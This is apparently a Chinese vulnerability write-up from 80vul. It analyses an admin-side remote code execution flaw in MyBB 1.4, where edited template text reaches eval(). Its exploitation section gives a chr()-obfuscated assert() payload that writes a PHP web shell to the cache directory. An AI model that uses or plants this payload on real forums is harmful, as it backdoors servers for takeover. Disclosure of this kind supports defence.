MyBB 1.4 admin remote code execution vulnerability

by flyh4t
team: http://www.80vul.com
date: 2010-01-10

测试版本MyBB 1.44.11

[一]漏洞分析

在index.php文件336行左右代码如下:

//index.php,336行左右

$plugins->run_hooks("index_end");
//出现了eval函数,注意参数
eval("\$index = \"".$templates->get("index")."\";");
output_page($index);

看以下eval()函数中的内容是否可以控制,继续找到templates类查看get函数的定义

//inc/class_templates.php,65行左右

function get($title, $eslashes=1, $htmlcomments=1)
	{
		global $db, $theme, $mybb;

		//
		// DEVELOPMENT MODE
		//
		if($mybb->dev_mode == 1)
		{
			$template = $this->dev_get($title);
			if($template !== false)
			{
				$this->cache[$title] = $template;
			}
		}

		if(!isset($this->cache[$title]))
		{
			$query = $db->simple_select("templates", "template", "title='".$db->escape_string($title)."' AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1));
        //从数据库里面的取出模版的代码
			$gettemplate = $db->fetch_array($query);
			if($mybb->debug_mode)
			{
				$this->uncached_templates[$title] = $title;
			}

			if(!$gettemplate)
			{
				$gettemplate['template'] = "";
			}

			$this->cache[$title] = $gettemplate['template'];
		}
		$template = $this->cache[$title];

		if($htmlcomments)
		{
			if($mybb->settings['tplhtmlcomments'] == 1)
			{
				$template = "<!-- start: ".htmlspecialchars_uni($title)." -->\n{$template}\n<!-- end: ".htmlspecialchars_uni($title)." -->";
			}
			else
			{
				$template = "\n{$template}\n";
			}
		}

		if($eslashes)
		{
			$template = str_replace("\\'", "'", addslashes($template));
		}
		return $template;
	}

从上面的代码可以看出,get()函数是从数据库里面取出模板的内容经过处理后返回给eval函数。继续来跟以下,
看看数据库里面的数据是如何来的

//admin/modules/style/templates.php,372行开始

	if($mybb->input['action'] == "edit_template")
{
	$plugins->run_hooks("admin_style_templates_edit_template");

	if(!$mybb->input['title'] || !$sid)
	{
		flash_message($lang->error_missing_input, 'error');
		admin_redirect("index.php?module=style/templates");
	}

	if($mybb->request_method == "post")
	{
		if(empty($mybb->input['title']))
		{
			$errors[] = $lang->error_missing_title;
		}

		if(!$errors)
		{
			$query = $db->simple_select("templates", "*", "tid='{$mybb->input['tid']}'");
			$template = $db->fetch_array($query);
			//获取到我们输入的内容,包括模板的标题和内容
			$template_array = array(
				'title' => $db->escape_string($mybb->input['title']),
				'sid' => $sid,
				'template' => $db->escape_string(trim($mybb->input['template'])),
				'version' => $mybb->version_code,
				'status' => '',
				'dateline' => TIME_NOW
			);

			// Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten
			$query = $db->simple_select("templates", "tid", "title='".$db->escape_string($template['title'])."' AND (sid = '-2' OR sid = '{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1));
			$template['tid'] = $db->fetch_field($query, "tid");

			if($sid > 0)
			{
				// Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it)  or if it's a custom template
				$query = $db->simple_select("templates", "sid", "title='".$db->escape_string($mybb->input['title'])."' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc'));
				$existing_sid = $db->fetch_field($query, "sid");
				$existing_rows = $db->num_rows($query);
				//更新模版数据库
				if(($existing_sid == -2 && $existing_rows == 1) || $existing_rows == 0)
				{
					$tid = $db->insert_query("templates", $template_array);
				}
				else
				{
					$db->update_query("templates", $template_array, "tid='{$template['tid']}' AND sid != '-2'");
				}
			}

从以上的代码可以发现,这是一个典型的“二次”漏洞.我们在后台将php代码通过编辑模板注入到数据库,然后到访问前台文件取出代码进入eval函数成功执行代码,注入代码的时候要规避一些敏感符号。比较遗憾的是这个漏洞需要管理员权限才能利用,仅能作为后台getwebshell的方法。

[二]漏洞利用:

在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index
在{$headerinclude}下写入如下一段代码后保存

{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(119).chr(93).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(102).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

访问首页后将在cache目录下生成flyh4t.php,内容为<?php @$_POST[w]($_POST[f])?>,可以使用客户端连接。

相关日志

楼被抢了 10 层了... 抢座Rss 2.0或者 Trackback

发表评论